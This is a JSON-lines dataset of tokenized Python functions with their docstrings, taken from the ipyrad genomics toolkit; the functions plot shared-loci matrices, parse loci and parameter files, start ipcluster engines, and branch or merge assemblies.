{"signature": "def _plotshare(share, names, **kwargs):", "body": "<EOL>colormap = toyplot.color.LinearMap(toyplot.color.brewer.palette(\"<STR_LIT>\"), <EOL>domain_min=share.min(), domain_max=share.max())<EOL>if not kwargs.get('<STR_LIT:width>'):<EOL><INDENT>width=<NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>width = kwargs['<STR_LIT:width>']<EOL><DEDENT>canvas = toyplot.Canvas(width=width, height=width*<NUM_LIT>)<EOL>table = canvas.matrix((share, colormap), <EOL>bounds=(<NUM_LIT:50>, canvas.height-<NUM_LIT:100>,<EOL><NUM_LIT:50>, canvas.height-<NUM_LIT:100>), <EOL>step=<NUM_LIT:5>, tshow=False, lshow=False)<EOL>table.body.grid.vlines[..., [<NUM_LIT:0>, -<NUM_LIT:1>]] = '<STR_LIT>'<EOL>table.body.grid.hlines[[<NUM_LIT:0>, -<NUM_LIT:1>], ...] = '<STR_LIT>'<EOL>for i, j in itertools.product(range(len(share)), repeat=<NUM_LIT:2>):<EOL><INDENT>table.body.cell(i,j).title = \"<STR_LIT>\" % (names[i], names[j], int(share[i,j]))<EOL><DEDENT>axes = canvas.cartesian(bounds=(<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>))<EOL>zf = zip(names[::-<NUM_LIT:1>], share.diagonal()[::-<NUM_LIT:1>])<EOL>barfloater = [\"<STR_LIT>\" % (i, int(j)) for i, j in zf]<EOL>axes.bars(share.diagonal()[::-<NUM_LIT:1>], along='<STR_LIT:y>', title=barfloater)<EOL>axes.y.spine.show = False<EOL>axes.y.ticks.labels.offset = <NUM_LIT:0><EOL>axes.y.ticks.locator = toyplot.locator.Explicit(range(len(names)), <EOL>labels=names[::-<NUM_LIT:1>])<EOL>axes.y.ticks.labels.angle = -<NUM_LIT><EOL>axes.y.ticks.labels.style = {\"<STR_LIT>\":<NUM_LIT:0>,<EOL>\"<STR_LIT>\":\"<STR_LIT:end>\", <EOL>\"<STR_LIT>\":\"<STR_LIT>\"}<EOL>axes.x.ticks.labels.angle = <NUM_LIT><EOL>axes.x.ticks.labels.offset = <NUM_LIT:20><EOL>axes.x.ticks.locator = toyplot.locator.Explicit(<EOL>range(<NUM_LIT:0>, int(share.max()), <EOL>int(share.max() / <NUM_LIT:10>)), <EOL>[\"<STR_LIT:{}>\".format(i) for i in range(<NUM_LIT:0>, int(share.max()),<EOL>int(share.max() / <NUM_LIT:10>))])<EOL>axes.x.ticks.labels.style = {\"<STR_LIT>\":<NUM_LIT:0>,<EOL>\"<STR_LIT>\":\"<STR_LIT:end>\", <EOL>\"<STR_LIT>\":\"<STR_LIT>\"}<EOL>axes.x.ticks.show = True<EOL>label_style = {\"<STR_LIT>\": \"<STR_LIT>\", \"<STR_LIT>\": \"<STR_LIT>\"}<EOL>canvas.text(<NUM_LIT>, <NUM_LIT>, \"<STR_LIT>\", style=label_style)<EOL>canvas.text(<NUM_LIT>, <NUM_LIT>, \"<STR_LIT>\", style=label_style)<EOL>return canvas, axes<EOL>", "docstring": "make toyplot matrix fig", "id": "f5318:m1"}
{"signature": "def _getarray(loci, tree):", "body": "<EOL>tree.ladderize()<EOL>snames = tree.get_leaf_names()<EOL>lxs = np.zeros((len(snames), len(loci)), dtype=np.int)<EOL>for loc in xrange(len(loci)):<EOL><INDENT>for seq in loci[loc].split(\"<STR_LIT:\\n>\")[:-<NUM_LIT:1>]:<EOL><INDENT>lxs[snames.index(seq.split()[<NUM_LIT:0>]), loc] += <NUM_LIT:1><EOL><DEDENT><DEDENT>return lxs, snames<EOL>", "docstring": "parse the loci file list and return presence/absence matrix\nordered by the tips on the tree", "id": "f5318:m2"}
{"signature": "def _countmatrix(lxs):", "body": "<EOL>share = np.zeros((lxs.shape[<NUM_LIT:0>], lxs.shape[<NUM_LIT:0>]))<EOL>names = range(lxs.shape[<NUM_LIT:0>])<EOL>for row in lxs:<EOL><INDENT>for samp1, samp2 in itertools.combinations(names, <NUM_LIT:2>):<EOL><INDENT>shared = lxs[samp1, lxs[samp2] > <NUM_LIT:0>].sum()<EOL>share[samp1, samp2] = shared<EOL><DEDENT><DEDENT>for row in xrange(len(names)):<EOL><INDENT>share[row, row] = lxs[row].sum()<EOL><DEDENT>return share<EOL>", "docstring": "fill a matrix with pairwise data sharing", "id": "f5318:m3"}
{"signature": "def depthplot(data, samples=None, dims=(None,None), canvas=(None,None), <EOL>xmax=<NUM_LIT:50>, log=False, outprefix=None, use_maxdepth=False):", "body": "<EOL>if not samples:<EOL><INDENT>samples = data.samples.keys()<EOL>samples.sort()<EOL><DEDENT>subsamples = OrderedDict([(i, data.samples[i]) for i in samples])<EOL>if any(dims):<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>if len(subsamples) <= <NUM_LIT:4>:<EOL><INDENT>dims = (<NUM_LIT:1>, len(subsamples))<EOL><DEDENT>else:<EOL><INDENT>dims = (len(subsamples)/<NUM_LIT:4>, <NUM_LIT:4>)<EOL><DEDENT><DEDENT>if any(canvas):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>canvas = toyplot.Canvas(width=canvas[<NUM_LIT:0>], height=canvas[<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>canvas = toyplot.Canvas(width=<NUM_LIT:200>*dims[<NUM_LIT:1>], height=<NUM_LIT>*dims[<NUM_LIT:0>])<EOL><DEDENT>for panel, sample in enumerate(subsamples):<EOL><INDENT>statdat = subsamples[sample].depths<EOL>statdat = statdat[statdat >= data.paramsdict[\"<STR_LIT>\"]]<EOL>if use_maxdepth:<EOL><INDENT>statdat = {i:j for (i, j) in statdat ifi < data.paramsdict[\"<STR_LIT>\"]}<EOL><DEDENT>sdat = np.histogram(statdat, range(<NUM_LIT:50>))<EOL>statdat = subsamples[sample].depths<EOL>statdat = statdat[statdat < data.paramsdict[\"<STR_LIT>\"]]<EOL>statdat = statdat[statdat >= data.paramsdict[\"<STR_LIT>\"]]<EOL>if use_maxdepth:<EOL><INDENT>statdat = statdat[statdat < data.paramsdict[\"<STR_LIT>\"]]<EOL><DEDENT>mdat = np.histogram(statdat, range(<NUM_LIT:50>))<EOL>tots = data.samples[sample].depths<EOL>tots = tots[tots < data.paramsdict[\"<STR_LIT>\"]]<EOL>if use_maxdepth:<EOL><INDENT>tots = tots[tots < data.paramsdict[\"<STR_LIT>\"]]<EOL><DEDENT>edat = np.histogram(tots, range(<NUM_LIT:50>))<EOL>axes = canvas.cartesian(grid=(dims[<NUM_LIT:0>], dims[<NUM_LIT:1>], panel), gutter=<NUM_LIT>)<EOL>axes.x.domain.xmax = xmax<EOL>axes.label.text = sample<EOL>if log:<EOL><INDENT>axes.y.scale = \"<STR_LIT>\"<EOL><DEDENT>axes.bars(sdat)<EOL>axes.bars(edat)<EOL>axes.bars(mdat)<EOL><DEDENT>if outprefix:<EOL><INDENT>toyplot.html.render(canvas, fobj=outprefix+\"<STR_LIT>\")<EOL>toyplot.svg.render(canvas, fobj=outprefix+\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "plots histogram of coverages across clusters", "id": "f5319:m0"}
{"signature": "def share_matrix(locifile, tree=None, nameorder=None):", "body": "<EOL>with open(locifile, '<STR_LIT:r>') as locidata:<EOL><INDENT>loci = locidata.read().split(\"<STR_LIT>\")[:-<NUM_LIT:1>]<EOL><DEDENT>if tree:<EOL><INDENT>tree = ete.Tree(tree)<EOL>tree.ladderize()<EOL>snames = tree.get_leaf_names()<EOL>lxs, names = _getarray(loci, snames)<EOL><DEDENT>elif nameorder:<EOL><INDENT>lxs, names = _getarray(loci, nameorder)<EOL><DEDENT>else:<EOL><INDENT>raise IOError(\"<STR_LIT>\")<EOL><DEDENT>share = _countmatrix(lxs)<EOL>return share<EOL>", "docstring": "returns a matrix of shared RAD-seq data \n\nParameters:\n-----------\nlocifile (str):\n    Path to a ipyrad .loci file. \ntree (str):\n    Path to Newick file or a Newick string representation of\n    a tree. If used, names will be ordered by the ladderized\n    tip order. \nnameorder (list):\n    If a tree is not provided you can alternatively enter \n    the sample order as a list here. The tree argument will\n    override this argument.\n\nReturns:\n--------\nmatrix (numpy.array):\n    A uint64 numpy array of the number of shared loci between\n    all pairs of samples.", "id": "f5320:m0"}
{"signature": "def _plotshare(share, names, **kwargs):", "body": "<EOL>colormap = toyplot.color.LinearMap(<EOL>toyplot.color.brewer.palette(\"<STR_LIT>\"), <EOL>domain_min=share.min(), <EOL>domain_max=share.max())<EOL>if not kwargs.get('<STR_LIT:width>'):<EOL><INDENT>width=<NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>width = kwargs['<STR_LIT:width>']<EOL><DEDENT>canvas = toyplot.Canvas(width=width, height=width*<NUM_LIT>)<EOL>table = canvas.matrix((share, colormap), <EOL>bounds=(<NUM_LIT:50>, canvas.height-<NUM_LIT:100>,<EOL><NUM_LIT:50>, canvas.height-<NUM_LIT:100>), <EOL>step=<NUM_LIT:5>, tshow=False, lshow=False)<EOL>table.body.grid.vlines[..., [<NUM_LIT:0>, -<NUM_LIT:1>]] = '<STR_LIT>'<EOL>table.body.grid.hlines[[<NUM_LIT:0>, -<NUM_LIT:1>], ...] = '<STR_LIT>'<EOL>for i, j in itertools.product(range(len(share)), repeat=<NUM_LIT:2>):<EOL><INDENT>table.body.cell(i,j).title = \"<STR_LIT>\" % (names[i], names[j], int(share[i,j]))<EOL><DEDENT>axes = canvas.cartesian(bounds=(<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>))<EOL>zf = zip(names[::-<NUM_LIT:1>], share.diagonal()[::-<NUM_LIT:1>])<EOL>barfloater = [\"<STR_LIT>\" % (i, int(j)) for i, j in zf]<EOL>axes.bars(share.diagonal()[::-<NUM_LIT:1>], along='<STR_LIT:y>', title=barfloater)<EOL>axes.y.spine.show = False<EOL>axes.y.ticks.labels.offset = <NUM_LIT:0><EOL>axes.y.ticks.locator = toyplot.locator.Explicit(range(len(names)), <EOL>labels=names[::-<NUM_LIT:1>])<EOL>axes.y.ticks.labels.angle = -<NUM_LIT><EOL>axes.y.ticks.labels.style = {\"<STR_LIT>\":<NUM_LIT:0>,<EOL>\"<STR_LIT>\":\"<STR_LIT:end>\", <EOL>\"<STR_LIT>\":\"<STR_LIT>\"}<EOL>axes.x.ticks.labels.angle = <NUM_LIT><EOL>axes.x.ticks.labels.offset = <NUM_LIT:20><EOL>axes.x.ticks.locator = toyplot.locator.Explicit(<EOL>range(<NUM_LIT:0>, int(share.max()), <EOL>int(share.max() / <NUM_LIT:10>)), <EOL>[\"<STR_LIT:{}>\".format(i) for i in range(<NUM_LIT:0>, int(share.max()),<EOL>int(share.max() / <NUM_LIT:10>))])<EOL>axes.x.ticks.labels.style = {\"<STR_LIT>\":<NUM_LIT:0>,<EOL>\"<STR_LIT>\":\"<STR_LIT:end>\", <EOL>\"<STR_LIT>\":\"<STR_LIT>\"}<EOL>axes.x.ticks.show = True<EOL>label_style = {\"<STR_LIT>\": \"<STR_LIT>\", \"<STR_LIT>\": \"<STR_LIT>\"}<EOL>canvas.text(<NUM_LIT>, <NUM_LIT>, \"<STR_LIT>\", style=label_style)<EOL>canvas.text(<NUM_LIT>, <NUM_LIT>, \"<STR_LIT>\", style=label_style)<EOL>return canvas, axes<EOL>", "docstring": "make toyplot matrix fig", "id": "f5320:m3"}
{"signature": "def _getarray(loci, snames):", "body": "<EOL>lxs = np.zeros((len(snames), len(loci)), dtype=np.uint64)<EOL>for loc in xrange(len(loci)):<EOL><INDENT>for seq in loci[loc].split(\"<STR_LIT:\\n>\"):<EOL><INDENT>if \"<STR_LIT>\" not in seq:<EOL><INDENT>lxs[snames.index(seq.split()[<NUM_LIT:0>][:]), loc] += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>return lxs, snames<EOL>", "docstring": "parse loci list and return presence/absence matrix\nordered by the tips on the tree or list of names.", "id": "f5320:m4"}
{"signature": "def _countmatrix(lxs):", "body": "<EOL>share = np.zeros((lxs.shape[<NUM_LIT:0>], lxs.shape[<NUM_LIT:0>]), dtype=np.uint64)<EOL>names = range(lxs.shape[<NUM_LIT:0>])<EOL>for row in lxs:<EOL><INDENT>for samp1, samp2 in itertools.combinations(names, <NUM_LIT:2>):<EOL><INDENT>shared = lxs[samp1, lxs[samp2] > <NUM_LIT:0>].sum()<EOL>share[samp1, samp2] = shared<EOL><DEDENT><DEDENT>share += share.T<EOL>for row in xrange(len(names)):<EOL><INDENT>share[row, row] = lxs[row].sum()<EOL><DEDENT>return share<EOL>", "docstring": "fill a matrix with pairwise data sharing", "id": "f5320:m5"}
{"signature": "def _plotshare(share, names, **kwargs):", "body": "<EOL>colormap = toyplot.color.LinearMap(toyplot.color.brewer.palette(\"<STR_LIT>\"), <EOL>domain_min=share.min(), domain_max=share.max())<EOL>if not kwargs.get('<STR_LIT:width>'):<EOL><INDENT>width=<NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>width = kwargs['<STR_LIT:width>']<EOL><DEDENT>canvas = toyplot.Canvas(width=width, height=width*<NUM_LIT>)<EOL>table = canvas.matrix((share, colormap), <EOL>bounds=(<NUM_LIT:50>, canvas.height-<NUM_LIT:100>,<EOL><NUM_LIT:50>, canvas.height-<NUM_LIT:100>), <EOL>step=<NUM_LIT:5>, tshow=False, lshow=False)<EOL>table.body.grid.vlines[..., [<NUM_LIT:0>, -<NUM_LIT:1>]] = '<STR_LIT>'<EOL>table.body.grid.hlines[[<NUM_LIT:0>, -<NUM_LIT:1>], ...] = '<STR_LIT>'<EOL>for i, j in itertools.product(range(len(share)), repeat=<NUM_LIT:2>):<EOL><INDENT>table.body.cell(i,j).title = \"<STR_LIT>\" % (names[i], names[j], int(share[i,j]))<EOL><DEDENT>axes = canvas.cartesian(bounds=(<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>))<EOL>zf = zip(names[::-<NUM_LIT:1>], share.diagonal()[::-<NUM_LIT:1>])<EOL>barfloater = [\"<STR_LIT>\" % (i, int(j)) for i, j in zf]<EOL>axes.bars(share.diagonal()[::-<NUM_LIT:1>], along='<STR_LIT:y>', title=barfloater)<EOL>axes.y.spine.show = False<EOL>axes.y.ticks.labels.offset = <NUM_LIT:0><EOL>axes.y.ticks.locator = toyplot.locator.Explicit(range(len(names)), <EOL>labels=names[::-<NUM_LIT:1>])<EOL>axes.y.ticks.labels.angle = -<NUM_LIT><EOL>axes.y.ticks.labels.style = {\"<STR_LIT>\":<NUM_LIT:0>,<EOL>\"<STR_LIT>\":\"<STR_LIT:end>\", <EOL>\"<STR_LIT>\":\"<STR_LIT>\"}<EOL>axes.x.ticks.labels.angle = <NUM_LIT><EOL>axes.x.ticks.labels.offset = <NUM_LIT:20><EOL>axes.x.ticks.locator = toyplot.locator.Explicit(<EOL>range(<NUM_LIT:0>, int(share.max()), <EOL>int(share.max() / <NUM_LIT:10>)), <EOL>[\"<STR_LIT:{}>\".format(i) for i in range(<NUM_LIT:0>, int(share.max()),<EOL>int(share.max() / <NUM_LIT:10>))])<EOL>axes.x.ticks.labels.style = {\"<STR_LIT>\":<NUM_LIT:0>,<EOL>\"<STR_LIT>\":\"<STR_LIT:end>\", <EOL>\"<STR_LIT>\":\"<STR_LIT>\"}<EOL>axes.x.ticks.show = True<EOL>label_style = {\"<STR_LIT>\": \"<STR_LIT>\", \"<STR_LIT>\": \"<STR_LIT>\"}<EOL>canvas.text(<NUM_LIT>, <NUM_LIT>, \"<STR_LIT>\", style=label_style)<EOL>canvas.text(<NUM_LIT>, <NUM_LIT>, \"<STR_LIT>\", style=label_style)<EOL>return canvas, axes<EOL>", "docstring": "make toyplot matrix fig", "id": "f5322:m1"}
{"signature": "def _getarray(loci, tree):", "body": "<EOL>tree.ladderize()<EOL>snames = tree.get_leaf_names()<EOL>lxs = np.zeros((len(snames), len(loci)), dtype=np.int)<EOL>for loc in xrange(len(loci)):<EOL><INDENT>for seq in loci[loc].split(\"<STR_LIT:\\n>\")[:-<NUM_LIT:1>]:<EOL><INDENT>lxs[snames.index(seq.split()[<NUM_LIT:0>]), loc] += <NUM_LIT:1><EOL><DEDENT><DEDENT>return lxs, snames<EOL>", "docstring": "parse the loci file list and return presence/absence matrix\nordered by the tips on the tree", "id": "f5322:m2"}
{"signature": "def _countmatrix(lxs):", "body": "<EOL>share = np.zeros((lxs.shape[<NUM_LIT:0>], lxs.shape[<NUM_LIT:0>]))<EOL>names = range(lxs.shape[<NUM_LIT:0>])<EOL>for row in lxs:<EOL><INDENT>for samp1, samp2 in itertools.combinations(names, <NUM_LIT:2>):<EOL><INDENT>shared = lxs[samp1, lxs[samp2] > <NUM_LIT:0>].sum()<EOL>share[samp1, samp2] = shared<EOL><DEDENT><DEDENT>for row in xrange(len(names)):<EOL><INDENT>share[row, row] = lxs[row].sum()<EOL><DEDENT>return share<EOL>", "docstring": "fill a matrix with pairwise data sharing", "id": "f5322:m3"}
{"signature": "def start_ipcluster(data):", "body": "<EOL>iparg = \"<STR_LIT>\"<EOL>if \"<STR_LIT>\" in data._ipcluster[\"<STR_LIT>\"]:<EOL><INDENT>iparg = \"<STR_LIT>\"<EOL><DEDENT>standard = \"\"\"<STR_LIT>\"\"\".format(data._ipcluster[\"<STR_LIT>\"], <EOL>data._ipcluster[\"<STR_LIT>\"], <EOL>data._ipcluster[\"<STR_LIT>\"],<EOL>data._ipcluster[\"<STR_LIT>\"],<EOL>iparg)<EOL>try: <EOL><INDENT>LOGGER.info(shlex.split(standard))<EOL>subprocess.check_call(shlex.split(standard), <EOL>stderr=subprocess.STDOUT,<EOL>stdout=subprocess.PIPE)<EOL><DEDENT>except subprocess.CalledProcessError as inst:<EOL><INDENT>LOGGER.debug(\"<STR_LIT>\")<EOL>raise<EOL><DEDENT>except Exception as inst:<EOL><INDENT>sys.exit(\"<STR_LIT>\".format(inst))<EOL><DEDENT>", "docstring": "Start ipcluster", "id": "f5323:m0"}
{"signature": "def register_ipcluster(data):", "body": "<EOL>data._ipcluster[\"<STR_LIT>\"] = \"<STR_LIT>\"+str(os.getpid())<EOL>start_ipcluster(data)<EOL>return data<EOL>", "docstring": "The name is a unique id that keeps this __init__ of ipyrad distinct\nfrom interfering with other ipcontrollers. Run statements are wrapped\nso that ipcluster will be killed on exit.", "id": "f5323:m1"}
{"signature": "def get_client(cluster_id, profile, engines, timeout, cores, quiet, spacer, **kwargs):", "body": "<EOL>save_stdout = sys.stdout <EOL>save_stderr = sys.stderr<EOL>sys.stdout = cStringIO.StringIO()<EOL>sys.stderr = cStringIO.StringIO()<EOL>connection_string = \"<STR_LIT>\".format(spacer)<EOL>try: <EOL><INDENT>if profile not in [None, \"<STR_LIT:default>\"]:<EOL><INDENT>args = {'<STR_LIT>': profile, \"<STR_LIT>\": timeout}<EOL><DEDENT>else:<EOL><INDENT>clusterargs = [cluster_id, profile, timeout]<EOL>argnames = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL>args = {key:value for key, value in zip(argnames, clusterargs)}<EOL><DEDENT>ipyclient = ipp.Client(**args)<EOL>sys.stdout = save_stdout<EOL>sys.stderr = save_stderr<EOL>if (engines == \"<STR_LIT>\") or (\"<STR_LIT>\" in cluster_id):<EOL><INDENT>if not quiet:<EOL><INDENT>print(connection_string)<EOL><DEDENT><DEDENT>for _ in range(<NUM_LIT>):<EOL><INDENT>initid = len(ipyclient)<EOL>time.sleep(<NUM_LIT>)<EOL>if (engines == \"<STR_LIT>\") or (\"<STR_LIT>\" in cluster_id):<EOL><INDENT>if cores:<EOL><INDENT>time.sleep(<NUM_LIT:0.1>)<EOL>if initid == cores:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if initid:<EOL><INDENT>time.sleep(<NUM_LIT:3>)<EOL>if len(ipyclient) == initid:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if cores:<EOL><INDENT>if initid == cores:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if initid:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>except KeyboardInterrupt as inst:<EOL><INDENT>sys.stdout = save_stdout<EOL>sys.stderr = save_stderr<EOL>raise inst<EOL><DEDENT>except IOError as inst:<EOL><INDENT>sys.stdout = save_stdout<EOL>sys.stderr = save_stderr<EOL>if \"<STR_LIT>\" in cluster_id:<EOL><INDENT>raise IPyradWarningExit(NO_IPCLUSTER_CLI)<EOL><DEDENT>else:<EOL><INDENT>raise IPyradWarningExit(NO_IPCLUSTER_API)<EOL><DEDENT><DEDENT>except (ipp.TimeoutError, ipp.NoEnginesRegistered) as inst:<EOL><INDENT>sys.stdout = save_stdout<EOL>sys.stderr = save_stderr<EOL>raise inst<EOL><DEDENT>except Exception as inst:<EOL><INDENT>sys.stdout = save_stdout<EOL>sys.stderr = save_stderr<EOL>raise inst<EOL><DEDENT>finally:<EOL><INDENT>sys.stdout = save_stdout<EOL>sys.stderr = save_stderr<EOL><DEDENT>return ipyclient<EOL>", "docstring": "Creates a client to view ipcluster engines for a given profile and \nreturns it with at least one engine spun up and ready to go. If no \nengines are found after nwait amount of time then an error is raised.\nIf engines==MPI it waits a bit longer to find engines. If the number\nof engines is set then it waits even longer to try to find that number\nof engines.", "id": "f5323:m2"}
{"signature": "def paramname(param=\"<STR_LIT>\"):", "body": "try: <EOL><INDENT>name = pinfo[str(param)][<NUM_LIT:0>].strip().split(\"<STR_LIT:U+0020>\")[<NUM_LIT:1>]<EOL><DEDENT>except (KeyError, ValueError) as err:<EOL><INDENT>print(\"<STR_LIT>\".format(param), err)<EOL>raise<EOL><DEDENT>return name<EOL>", "docstring": "Get the param name from the dict index value.", "id": "f5324:m0"}
{"signature": "def paraminfo(param=\"<STR_LIT>\", short=False):", "body": "<EOL>if short:<EOL><INDENT>desc = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>desc = <NUM_LIT:0><EOL><DEDENT>try: <EOL><INDENT>description = pinfo[str(param)][desc]<EOL><DEDENT>except (KeyError, ValueError) as err:<EOL><INDENT>print(\"<STR_LIT>\".format(param), err)<EOL>raise<EOL><DEDENT>return description<EOL>", "docstring": "Returns detailed information for the numbered parameter. \n        Further information is available in the tutorial.\n        Unlike params() this function doesn't deal well with *\n        It only takes one parameter at a time and returns the desc", "id": "f5324:m1"}
{"signature": "def paramsinfo(param=\"<STR_LIT>\", short=False):", "body": "if short:<EOL><INDENT>desc = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>desc = <NUM_LIT:0><EOL><DEDENT>if param == \"<STR_LIT:*>\":<EOL><INDENT>for key in pinfo:<EOL><INDENT>print(pinfo[str(key)][desc])<EOL><DEDENT><DEDENT>elif param:<EOL><INDENT>try:<EOL><INDENT>print(pinfo[str(param)][desc])<EOL><DEDENT>except (KeyError, ValueError) as err:<EOL><INDENT>print(\"<STR_LIT>\", err)<EOL>raise<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>for key in pinfo:<EOL><INDENT>print(pinfo[str(key)][desc].split(\"<STR_LIT:\\n>\")[<NUM_LIT:1>][<NUM_LIT:2>:-<NUM_LIT:10>])<EOL><DEDENT><DEDENT>", "docstring": "This is the human readable version of the paramsinfo() function.\n        You give it a param and it prints to stdout.", "id": "f5324:m2"}
{"signature": "def _to_fulldict(self):", "body": "<EOL>returndict = OrderedDict([<EOL>(\"<STR_LIT:name>\", self.name),<EOL>(\"<STR_LIT>\", self.barcode),<EOL>(\"<STR_LIT>\", self.files),<EOL>(\"<STR_LIT>\", {<EOL>\"<STR_LIT>\": self.stats_dfs.s1.to_dict(),<EOL>\"<STR_LIT>\": self.stats_dfs.s2.to_dict(),                <EOL>\"<STR_LIT>\": self.stats_dfs.s3.to_dict(),<EOL>\"<STR_LIT>\": self.stats_dfs.s4.to_dict(),<EOL>\"<STR_LIT>\": self.stats_dfs.s5.to_dict(),<EOL>}),<EOL>(\"<STR_LIT>\", self.stats.to_dict()),<EOL>(\"<STR_LIT>\", self.depths)<EOL>])<EOL>return returndict<EOL>", "docstring": "Write to dict including data frames. All sample dicts \nare combined in save() to dump JSON output", "id": "f5326:c0:m2"}
{"signature": "def parse_params(args):", "body": "<EOL>try:<EOL><INDENT>with open(args.params) as paramsin:<EOL><INDENT>plines = paramsin.readlines()<EOL><DEDENT><DEDENT>except IOError as _:<EOL><INDENT>sys.exit(\"<STR_LIT>\")<EOL><DEDENT>legacy_version = <NUM_LIT:0><EOL>try:<EOL><INDENT>legacy_version = <NUM_LIT:1><EOL>if not len(plines[<NUM_LIT:0>].split()[<NUM_LIT:0>]) == <NUM_LIT:7>:<EOL><INDENT>raise IPyradWarningExit(\"\"\"<STR_LIT>\"\"\".format(args.params, ip.__version__))<EOL><DEDENT><DEDENT>except IndexError:<EOL><INDENT>raise IPyradWarningExit(\"\"\"<STR_LIT>\"\"\".format(args.params))<EOL><DEDENT>if legacy_version:<EOL><INDENT>pass<EOL><DEDENT>items = [i.split(\"<STR_LIT>\")[<NUM_LIT:0>].strip() for i in plines[<NUM_LIT:1>:] if not i.strip() == \"<STR_LIT>\"]<EOL>keys = ip.Assembly('<STR_LIT:null>', quiet=True).paramsdict.keys()<EOL>parsedict = {str(i):j for i, j in zip(keys, items)}<EOL>return parsedict<EOL>", "docstring": "Parse the params file args, create and return Assembly object.", "id": "f5327:m0"}
{"signature": "def showstats(parsedict):", "body": "<EOL>project_dir = parsedict[\"<STR_LIT>\"]<EOL>if not project_dir:<EOL><INDENT>project_dir = \"<STR_LIT>\"<EOL><DEDENT>assembly_name = parsedict[\"<STR_LIT>\"]<EOL>my_assembly = os.path.join(project_dir, assembly_name)<EOL>if not os.path.isdir(project_dir):<EOL><INDENT>msg = \"\"\"<STR_LIT>\"\"\".format(project_dir)<EOL>sys.exit(msg)<EOL><DEDENT>if not assembly_name:<EOL><INDENT>msg = \"\"\"<STR_LIT>\"\"\".format(project_dir)<EOL>raise IPyradError(msg)<EOL><DEDENT>data = ip.load_json(my_assembly, quiet=True, cli=True)<EOL>print(\"<STR_LIT>\".format(data.name)+\"<STR_LIT>\")<EOL>if not data.stats.empty:<EOL><INDENT>print(data.stats)<EOL>print(\"<STR_LIT>\"+\"<STR_LIT>\")<EOL>fullcurdir = os.path.realpath(os.path.curdir)<EOL>for i in range(<NUM_LIT:1>, <NUM_LIT:8>):<EOL><INDENT>key = \"<STR_LIT:s>\"+str(i)<EOL>try:<EOL><INDENT>val = data.stats_files[key]<EOL>val = val.replace(fullcurdir, \"<STR_LIT:.>\")                <EOL>print(\"<STR_LIT>\".format(i, val))<EOL><DEDENT>except (KeyError, AttributeError):<EOL><INDENT>print(\"<STR_LIT>\".format(i))<EOL><DEDENT><DEDENT>print(\"<STR_LIT:\\n>\")<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "loads assembly or dies, and print stats to screen", "id": "f5327:m1"}
{"signature": "def branch_assembly(args, parsedict):", "body": "<EOL>data = getassembly(args, parsedict)<EOL>bargs = args.branch<EOL>newname = bargs[<NUM_LIT:0>]<EOL>if newname.endswith(\"<STR_LIT>\"):<EOL><INDENT>newname = newname[:-<NUM_LIT:4>]<EOL><DEDENT>if len(bargs) > <NUM_LIT:1>:<EOL><INDENT>if any([x.stats.state == <NUM_LIT:6> for x in data.samples.values()]):<EOL><INDENT>pass<EOL><DEDENT>subsamples = bargs[<NUM_LIT:1>:]<EOL>if bargs[<NUM_LIT:1>] == \"<STR_LIT:->\":<EOL><INDENT>fails = [i for i in subsamples[<NUM_LIT:1>:] if i not in data.samples.keys()]<EOL>if any(fails):<EOL><INDENT>raise IPyradWarningExit(\"<STR_LIT>\".format(\"<STR_LIT>\".join([i for i in fails])))<EOL><DEDENT>print(\"<STR_LIT>\".format(len(subsamples)-<NUM_LIT:1>))<EOL>subsamples = list(set(data.samples.keys()) - set(subsamples))<EOL><DEDENT>if os.path.exists(bargs[<NUM_LIT:1>]):<EOL><INDENT>new_data = data.branch(newname, infile=bargs[<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>new_data = data.branch(newname, subsamples)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>new_data = data.branch(newname, None)<EOL><DEDENT>print(\"<STR_LIT>\".format(new_data.name, len(new_data.samples)))<EOL>print(\"<STR_LIT>\".format(\"<STR_LIT>\"+new_data.name+\"<STR_LIT>\"))<EOL>new_data.write_params(\"<STR_LIT>\"+new_data.name+\"<STR_LIT>\", force=args.force)<EOL>", "docstring": "Load the passed in assembly and create a branch. Copy it\nto a new assembly, and also write out the appropriate params.txt", "id": "f5327:m2"}
{"signature": "def merge_assemblies(args):", "body": "print(\"<STR_LIT>\".format(args.merge[<NUM_LIT:1>:]))<EOL>if len(args.merge) < <NUM_LIT:3>:<EOL><INDENT>sys.exit(_WRONG_NUM_CLI_MERGE)<EOL><DEDENT>newname = args.merge[<NUM_LIT:0>]<EOL>if os.path.exists(newname) and \"<STR_LIT>\" in newname:<EOL><INDENT>sys.exit(_WRONG_ORDER_CLI_MERGE) <EOL><DEDENT>if os.path.exists(\"<STR_LIT>\" + newname + \"<STR_LIT>\") and not args.force:<EOL><INDENT>sys.exit(_NAME_EXISTS_MERGE.format(\"<STR_LIT>\" + newname + \"<STR_LIT>\"))<EOL><DEDENT>assemblies_to_merge = args.merge[<NUM_LIT:1>:]<EOL>for assembly in assemblies_to_merge:<EOL><INDENT>if not os.path.exists(assembly):<EOL><INDENT>sys.exit(_DOES_NOT_EXIST_MERGE.format(assembly))<EOL><DEDENT><DEDENT>assemblies = []<EOL>for params_file in args.merge[<NUM_LIT:1>:]:<EOL><INDENT>args.params = params_file<EOL>parsedict = 